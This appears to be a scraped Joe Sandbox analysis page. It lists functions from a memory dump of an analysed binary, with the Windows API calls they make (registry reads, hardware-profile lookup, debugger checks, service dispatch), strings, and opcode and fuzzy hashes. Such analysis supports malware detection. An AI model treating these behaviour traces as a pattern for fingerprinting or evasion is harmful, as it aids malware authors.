Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 42a73cd775201ed9a6ac005a126181b64f66bbdf914f7451128b477e4cb286a7
Instruction ID: dfa15224d731afda55ef9b7ba78d5e11224277a1bf713bac1f5b7d6898643db3
Opcode Fuzzy Hash: 42a73cd775201ed9a6ac005a126181b64f66bbdf914f7451128b477e4cb286a7
Instruction Fuzzy Hash: ED03B0B4D096A88ADB66CF289C517E9FBB1AF59304F0492D9C98C73252EB301BC5CF45

Function 0035ACF6 Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1427COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 0035AEB2

Strings

1#QNAN, xrefs: 0035C1A3
1#INF, xrefs: 0035C1AD
1#SNAN, xrefs: 0035C199
1#IND, xrefs: 0035C18F

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 01ca81c70e8ce611acfbc59963e54a8ccfd0629354ff1e9479486cc4a8eb1564
Instruction ID: ef40945145413428d133c7277d917dd0bf23134b2c946d14ab253a6338540e40
Opcode Fuzzy Hash: 01ca81c70e8ce611acfbc59963e54a8ccfd0629354ff1e9479486cc4a8eb1564
Instruction Fuzzy Hash: 6DD26E71E046288FDB66CF28CD40BEAB7B9EB44306F1545EAD80DE7250E774AE858F41

Function 0033D0D0 Relevance: 7.9, APIs: 5, Instructions: 392COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7301fcd9fb3960aa9a655fac13565847114244b86b3fd6cfc4634df76d16dea
Instruction ID: a72e059f1de39dcdf13318e0f4e9ed46181bf148dedde7af3d62336e4b7525a9
Opcode Fuzzy Hash: d7301fcd9fb3960aa9a655fac13565847114244b86b3fd6cfc4634df76d16dea
Instruction Fuzzy Hash: 1E22E0749052A88BDB66CF28DC84BEABBB1AF59304F0481D9C84D6B352D730AEC5CF51

Function 00314DE0 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 372COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00314FBA
__aulldiv.LIBCMT ref: 003151C2

Strings

E), xrefs: 00315146
@), xrefs: 003150E6

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID: __aulldiv
String ID: @)$E)
API String ID: 3732870572-3004400368
Opcode ID: 18b39cef931de7dd25de464aead9eb85a81f0b1e0353610d61485c241f2b27bf
Instruction ID: 45ac480bf510dae61dca1f0227cf3ff7e8301d0c32e4309cb99797c8ab8c5f6b
Opcode Fuzzy Hash: 18b39cef931de7dd25de464aead9eb85a81f0b1e0353610d61485c241f2b27bf
Instruction Fuzzy Hash: FCF19E70E002189FDB19CFA8D855BDEBBB5FF88310F1483A9E019AB2D1DB755A85CB50

Function 00313ED0 Relevance: 6.7, APIs: 4, Instructions: 700registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00313870: GetCurrentProcess.KERNEL32(00000000), ref: 0031388B
Part of subcall function 00313870: IsWow64Process.KERNEL32(00000000), ref: 00313892

RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,00000000,?,8CDA9266), ref: 003142CF
RegQueryValueExA.ADVAPI32(?,?,00000000,00020019,?,00000400), ref: 0031445A
RegCloseKey.ADVAPI32(00000000), ref: 003144E7
GetCurrentHwProfileA.ADVAPI32(?), ref: 00314649

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID: CurrentProcess$CloseOpenProfileQueryValueWow64
String ID:
API String ID: 165412945-0
Opcode ID: 1daadf9880bed4c40752d94b3722ae520d945523f27b1ea3d0547747a06a3a39
Instruction ID: 6d590e0d4a82ce7dc6c5cb072b5f8565c5752289aa405a8debbc0d08f519b697
Opcode Fuzzy Hash: 1daadf9880bed4c40752d94b3722ae520d945523f27b1ea3d0547747a06a3a39
Instruction Fuzzy Hash: 5892F2B4D092A88ADB66CF28C880BD9FBB1BF99204F0481D9D58D67251EB352BC4CF51

Function 003432C0 Relevance: 5.7, APIs: 1, Strings: 2, Instructions: 438COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 003434AE

Strings

Hde, xrefs: 0034384B
%#n, xrefs: 00343900

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID: __aulldiv
String ID: %#n$Hde
API String ID: 3732870572-2497800613
Opcode ID: ce41a493a592d217ce12b3826a6a1ece65b392355eefdf090797d0c60b45b947
Instruction ID: c23430349b0260584e11f70d9002995ecbbf343fa3d7c98782d1d0df41841b64
Opcode Fuzzy Hash: ce41a493a592d217ce12b3826a6a1ece65b392355eefdf090797d0c60b45b947
Instruction Fuzzy Hash: 2A42AEB4D056688BEB66CF28CC81BD9BBB1BF99304F1082D9D94C67251EB306AC5CF41

Function 00342020 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 384COMMON

Download Yara Rule

Strings

Hde, xrefs: 0034258D
Hde, xrefs: 00342541

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID:
String ID: Hde$Hde
API String ID: 0-984064285
Opcode ID: 5e4e07564409f1d57d8176a99c2e75c6c136ad80fd2836e98a4a54d8be240268
Instruction ID: 8d057d1bd15f67b0617457a759e0e6b6d2e29fe42f384223e740ed33960fa3eb
Opcode Fuzzy Hash: 5e4e07564409f1d57d8176a99c2e75c6c136ad80fd2836e98a4a54d8be240268
Instruction Fuzzy Hash: A012E4709012689BEB65DF15CC91B9ABBF4BB48300F14C2D9E48CAB285DF716E84CF90

Function 00341C50 Relevance: 4.8, APIs: 1, Strings: 2, Instructions: 275COMMON

Download Yara Rule

Strings

Hde, xrefs: 00341D9A
Hde, xrefs: 00341DE6

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID:
String ID: Hde$Hde
API String ID: 0-984064285
Opcode ID: 82552cd359cd4683e72b9593c9233ec1e51f3b8525e9034b7f800f715d74d37c
Instruction ID: 4d62f0410dd65e3f87073ceb67b0acf8386d1fa2f80ec3ef0350eadbb9114f6e
Opcode Fuzzy Hash: 82552cd359cd4683e72b9593c9233ec1e51f3b8525e9034b7f800f715d74d37c
Instruction Fuzzy Hash: 2DC11770E002489FEB25CFA4D895BEEBBB5BF48300F108199E649BB291D7716E85CF54

Function 0034CD36 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0034CE2E
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0034CE38
UnhandledExceptionFilter.KERNEL32(?), ref: 0034CE45

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 20a763328eeb954bb8f92736d222f0aec30fd746bc6473ded0f3626081fee0ed
Instruction ID: ab09abb4fe20e94ae6808ba51b5a547ebb489e4b2cdaf809ed254c0880e012a3
Opcode Fuzzy Hash: 20a763328eeb954bb8f92736d222f0aec30fd746bc6473ded0f3626081fee0ed
Instruction Fuzzy Hash: 6831C674911228ABCB62DF24DD8979DBBF8BF08310F5041DAE40DAB261E770AF858F45

Function 00352633 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,00352632,?,?,?,?,?,00350D23), ref: 00352655
TerminateProcess.KERNEL32(00000000,?,00352632,?,?,?,?,?,00350D23), ref: 0035265C
ExitProcess.KERNEL32 ref: 0035266E

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: da64575e9431a3d559c61542a468f885020a4ba589286f243c49ee243fb15049
Instruction ID: ff1695555d833af8c1a083f2b2c83e36ee9ac99b96b42a7c827c79b87d441857
Opcode Fuzzy Hash: da64575e9431a3d559c61542a468f885020a4ba589286f243c49ee243fb15049
Instruction Fuzzy Hash: 47E0B631400508ABCB136F64DD19D497B6DEB56742F418414FD058A531CBB5EE86CB94

Function 0034FD50 Relevance: 3.4, APIs: 2, Instructions: 450COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: abce71724529f58d33a8793619ad67d8af085a803f5d200d589c480e6379cee7
Instruction ID: 343eb41958689275cb2eb7e2cf5e46cef920dc042d01278129f3f3b7c7ff6b3d
Opcode Fuzzy Hash: abce71724529f58d33a8793619ad67d8af085a803f5d200d589c480e6379cee7
Instruction Fuzzy Hash: 46F15071E006199FDF19CFA8C880AAEB7F1FF48314F158269D819AB391D731AE45CB90

Function 00315340 Relevance: 2.0, APIs: 1, Instructions: 498COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 003154E0

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: 3f67a3d9f1de8294d7a51051919bf51d3a16f858ec6698303166ecafacd3e821
Instruction ID: 583000278386daa76f8ff665a3f9fb8516111090aa6b3d8c6dfae128a1be5c25
Opcode Fuzzy Hash: 3f67a3d9f1de8294d7a51051919bf51d3a16f858ec6698303166ecafacd3e821
Instruction Fuzzy Hash: 79323870D046288FDB2ACF68CC51BDEBBB1BF98310F1482E9D559AB291DB705A85CF50

Function 0035F0AD Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,0035F0A8,?,?,00000008,?,?,0035ED40,00000000), ref: 0035F2DA

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 0386564e46f068fe0136159535aa27455fe963847c5f2f48120bee34100252dc
Instruction ID: b70a6fd7e50f9877e94808e30f73b466a495fa36db78e962840617bbd46ad9f0
Opcode Fuzzy Hash: 0386564e46f068fe0136159535aa27455fe963847c5f2f48120bee34100252dc
Instruction Fuzzy Hash: 79B14D75610609DFD716CF28C486F647BA0FF45365F2A8668E89ACF2B1C335EA85CB40

Function 00349A99 Relevance: 1.6, APIs: 1, Instructions: 144COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00349AAF

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 2c198a97b6385abaf9235f293ff2b5dc93486a44c3b10af6a8bdc5344a9ff5d5
Instruction ID: 03b36d5391ebdeee3ed46f9e4729359aa010b2932ea9051dda8f925fff0d573b
Opcode Fuzzy Hash: 2c198a97b6385abaf9235f293ff2b5dc93486a44c3b10af6a8bdc5344a9ff5d5
Instruction Fuzzy Hash: A55129B5A002058BEB16CF55E8C57AABBF8FB48315F25C46AD805EF260D3B5AD44CF60

Function 00357261 Relevance: 1.6, APIs: 1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 300182d0b14d99e6a6beaa5bbbeab8a3ddc5547a5083b0b4d5ab6ac94568ab74
Instruction ID: 93e551368fba886eea5529b3fcc8a81f22fb452247c91216035e809f194118f1
Opcode Fuzzy Hash: 300182d0b14d99e6a6beaa5bbbeab8a3ddc5547a5083b0b4d5ab6ac94568ab74
Instruction Fuzzy Hash: 1F41C5B5804218AFDF21DF79DC89EAABBB9AF45300F1442DDE80DD7211DA319E888F50

Function 0033FAA0 Relevance: 1.6, Strings: 1, Instructions: 384COMMON

Download Yara Rule

Strings

Kw, xrefs: 0033FBEB

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID:
String ID: Kw
API String ID: 0-954361344
Opcode ID: 2d7f3f3ea8ee8835e56db3aae54a6f00fe16dff38e224b6ece325214cf0ba4a2
Instruction ID: 479432aa20a0f276a5ef3343e5f7ffda3be9fcbf24e10672210917b6837ce22c
Opcode Fuzzy Hash: 2d7f3f3ea8ee8835e56db3aae54a6f00fe16dff38e224b6ece325214cf0ba4a2
Instruction Fuzzy Hash: 4D22D174D052A88ADB26CF68C891BEDFBB0AF59304F0481D9D58DAB252DB305EC5CF51

Function 003202C0 Relevance: 1.6, APIs: 1, Instructions: 76COMMON

Download Yara Rule

APIs

StartServiceCtrlDispatcherA.ADVAPI32(?), ref: 003203C2

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID: CtrlDispatcherServiceStart
String ID:
API String ID: 3789849863-0
Opcode ID: d7457b368cc361ce0fcc856781d7f3c73b9d47c6958cc99d2aa58386ae89bba0
Instruction ID: 3530fc84a1555fc56ad642f608841b0fa71e338324161897a2f8932df79a360f
Opcode Fuzzy Hash: d7457b368cc361ce0fcc856781d7f3c73b9d47c6958cc99d2aa58386ae89bba0
Instruction Fuzzy Hash: 07411374D0938C9BDB12CFA8E9816DDFFB0AF59314F148199D88877355EB301A8ACB51

Function 00349E0F Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00039E1B,003498CC), ref: 00349E14

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: a41bfcfefe765b4134d0b8a22ba1b56e917431b5b528adf042519ee28f5123dc
Instruction ID: 51bdbab8e9de43527a103e94c64cd283d7c2ffc06f959eb34b51fef583f48b3c
Opcode Fuzzy Hash: a41bfcfefe765b4134d0b8a22ba1b56e917431b5b528adf042519ee28f5123dc
Instruction Fuzzy Hash:

Function 0035162B Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

0, xrefs: 003517A7

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

